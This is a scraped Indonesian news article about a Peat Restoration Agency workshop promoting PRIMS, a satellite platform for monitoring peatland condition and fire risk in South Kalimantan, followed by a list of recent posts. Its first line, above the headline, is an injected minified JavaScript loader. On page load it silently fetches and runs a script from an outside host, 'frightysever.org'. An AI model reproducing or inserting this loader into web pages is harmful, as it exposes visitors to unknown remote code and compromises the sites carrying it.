(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Sosialisasikan PRIMS sebagai Wahana Melihat Kondisi Gambut


MARTAPURA, Kendati kebakaran hutan dan lahan (Karhutla) di Kalimantan Selatan sudah lewat dengan datangnya musim hujan, tentu dampak peristiwa tersebut sangat signifikan. Apalagi, karhutla di Kalsel didominasi oleh terbakarnya lahan gambut.

Berdasarkan data PRIMS (Pranata Informasi) Restorasi Ekosistem Gambut yang dikembangkan oleh Badan Restorasi Gambut (BRG), menyajikan kondisi terbaru lahan gambut di Kalsel dengan menggunakan citra satelit. Tentunya, menurut Budi Wardana, Deputi Perencanaan dan Kerjasama BRG mengatakan, PRIMS dapat diakses oleh masyarakat luas.

“Restorasi saja tidak cukup, karena pengelolaan yang berkelanjutan pada lahan gambut terus didorong dan kita terus memonitor dari waktu ke waktu apakah gambut terus dimanfaatkan atau terus terjadi kerusakan-kerusakan,” kata Budi usai Workshop “PRIMS untuk Berita dan Riset yang Akurat lagi Kaya Data” di Aston Banua Hotel, Gambut, Kabupaten Banjar, Senin (9/12) siang.

PRIMS sendiri, dapat menjadi wahana untuk berbagi soal kondisi lahan gambut di 7 provinsi prioritas di mana Kalimantan Selatan termasuk di antaranya. “Kelebihan dari PRIMS ini data tidak tersebar-sebar. Biasanya kalau mau melihat hotspot atau indikator kerusakan, di sini kami mencoba menarik semua informasi menjadi satu platform. Lebih mudah untuk menumpangtindihkan layer kondisi gambut, implementasi restorasi gambut dan kondisinya,” jelas Budi.

Data kondisi gambut sendiri, dapat diupdate selama 3 jam sekali dalam sehari. Proses filtering terjadi secara otomatis kendati tetap memakan waktu. Karena, menggunakan server yang berbeda.

Budi berharap, kepada pemerintah untuk dapat melihat ketimpangan antara kerusakan dan implementasi restorasi dapat terlihat. Dirinya menekankan, restorasi gambut bukan hanya kewenangan BRG saja. “Karena kami tugasnya memfasilitasi dan salah satunya PRIMS agar instansi pemerintahan bisa menanfaatkan basis data yang sama,” tambahnya.

Contohnya, jika menemukan tinggi muka air suatu lahan gambut menuju titik yang mengkhawatirkan, yakni di bawah 0,4 meter dan tidak ada curah hujan, tempat tersebut bisa dijadikan patroli oleh pemerintah daerah,” katanya.

Kendati demikian, Budi menekankan, dalam hal penanggulangan karhutla yang berdampak pada lahan gambut di Kalsel, mencegah lebih baik daripada menanggulangi. “Lebih baik mencegah, patrol awal meskipun tidak ada titik api. Kalau sudah ada titik api berarti apinya sudah muncul di lokasi,” tegasnya. (fikri)

Reporter : Fikri
Editor : Chell

 


Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

8 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

10 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

11 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

12 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.